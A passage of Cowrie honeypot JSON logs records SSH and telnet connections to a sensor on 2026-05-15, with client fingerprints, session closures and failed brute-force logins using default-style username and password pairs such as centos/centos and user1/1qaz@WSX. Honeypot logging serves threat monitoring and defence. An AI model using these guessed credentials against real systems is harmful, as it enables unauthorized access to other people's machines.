,"hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:27.289716Z","src_ip":"45.153.34.114","session":"7c54b6a0084d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:27.519868Z","src_ip":"45.61.187.220","session":"48774b06c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:27.548359Z","src_ip":"45.153.34.114","session":"7c54b6a0084d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:28.646711Z","src_ip":"45.153.34.114","session":"7c54b6a0084d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"69dab02b8258","protocol":"telnet","message":"New connection: 74.91.213.120:38394 (159.203.135.109:23) [session: 69dab02b8258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:31.434011Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38406,"dst_ip":"159.203.135.109","dst_port":23,"session":"b056ac881f74","protocol":"telnet","message":"New connection: 74.91.213.120:38406 (159.203.135.109:23) [session: b056ac881f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:32.965794Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52946,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce4d0fba7964","protocol":"ssh","message":"New connection: 45.153.34.114:52946 (159.203.135.109:22) [session: ce4d0fba7964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:35.447508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:35.453171Z","src_ip":"45.153.34.114","session":"ce4d0fba7964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:35.540694Z","src_ip":"45.153.34.114","session":"ce4d0fba7964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:35.806555Z","src_ip":"45.153.34.114","session":"ce4d0fba7964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:36.896784Z","src_ip":"45.153.34.114","session":"ce4d0fba7964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":1645,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb0c906bbd3","protocol":"telnet","message":"New connection: 43.224.126.107:1645 (10.17.0.5:23) [session: 4eb0c906bbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:38.641667Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58528,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df50ab836e9","protocol":"ssh","message":"New connection: 45.153.34.114:58528 (159.203.135.109:22) [session: 8df50ab836e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:43.312871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:43.325169Z","src_ip":"45.153.34.114","session":"8df50ab836e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:43.426741Z","src_ip":"45.153.34.114","session":"8df50ab836e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:43.761772Z","src_ip":"45.153.34.114","session":"8df50ab836e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50132,"dst_ip":"159.203.135.109","dst_port":23,"session":"b407e222de35","protocol":"telnet","message":"New connection: 74.91.213.120:50132 (159.203.135.109:23) [session: b407e222de35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:44.147315Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:44.913639Z","src_ip":"45.153.34.114","session":"8df50ab836e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.151183128356934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:49.312617Z","src_ip":"74.91.213.120","session":"8132becd13ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53596,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c19b3a87d16","protocol":"ssh","message":"New connection: 45.153.34.114:53596 (159.203.135.109:22) [session: 9c19b3a87d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:51.108765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:51.113886Z","src_ip":"45.153.34.114","session":"9c19b3a87d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:51.209341Z","src_ip":"45.153.34.114","session":"9c19b3a87d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:51.479431Z","src_ip":"45.153.34.114","session":"9c19b3a87d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:52.568552Z","src_ip":"45.153.34.114","session":"9c19b3a87d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47452,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3db3b55c8b5","protocol":"telnet","message":"New connection: 74.91.213.120:47452 (159.203.135.109:23) [session: d3db3b55c8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:55.599812Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47472,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab9c6c849561","protocol":"telnet","message":"New connection: 74.91.213.120:47472 (159.203.135.109:23) [session: ab9c6c849561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:56.138337Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4521a9e732c","protocol":"telnet","message":"New connection: 74.91.213.120:47460 (159.203.135.109:23) [session: a4521a9e732c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:56.656537Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53606,"dst_ip":"159.203.135.109","dst_port":22,"session":"08d5c3060b3d","protocol":"ssh","message":"New connection: 45.153.34.114:53606 (159.203.135.109:22) [session: 08d5c3060b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:59.288135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:59.292835Z","src_ip":"45.153.34.114","session":"08d5c3060b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:59.378392Z","src_ip":"45.153.34.114","session":"08d5c3060b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:59.634589Z","src_ip":"45.153.34.114","session":"08d5c3060b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:00.726374Z","src_ip":"45.153.34.114","session":"08d5c3060b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.130617380142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:02.564420Z","src_ip":"74.91.213.120","session":"69dab02b8258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131006240844727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:04.096669Z","src_ip":"74.91.213.120","session":"b056ac881f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41364,"dst_ip":"159.203.135.109","dst_port":22,"session":"30418d483f3f","protocol":"ssh","message":"New connection: 45.153.34.114:41364 (159.203.135.109:22) [session: 30418d483f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:07.254176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:07.259573Z","src_ip":"45.153.34.114","session":"30418d483f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:07.343831Z","src_ip":"45.153.34.114","session":"30418d483f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:07.611329Z","src_ip":"45.153.34.114","session":"30418d483f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:08.703666Z","src_ip":"45.153.34.114","session":"30418d483f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.159589529037476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:15.306735Z","src_ip":"74.91.213.120","session":"b407e222de35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43390,"dst_ip":"159.203.135.109","dst_port":22,"session":"8762c7bdb8a1","protocol":"ssh","message":"New connection: 45.153.34.114:43390 (159.203.135.109:22) [session: 8762c7bdb8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:15.447869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:15.456189Z","src_ip":"45.153.34.114","session":"8762c7bdb8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:15.543117Z","src_ip":"45.153.34.114","session":"8762c7bdb8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:15.840967Z","src_ip":"45.153.34.114","session":"8762c7bdb8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:17.028943Z","src_ip":"45.153.34.114","session":"8762c7bdb8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32262,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f67da7442c","protocol":"ssh","message":"New connection: 87.251.64.176:32262 (10.17.0.5:22) [session: e8f67da7442c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:18.890751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:18.895944Z","src_ip":"87.251.64.176","session":"e8f67da7442c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:18.992669Z","src_ip":"87.251.64.176","session":"e8f67da7442c","protocol":"ssh"}
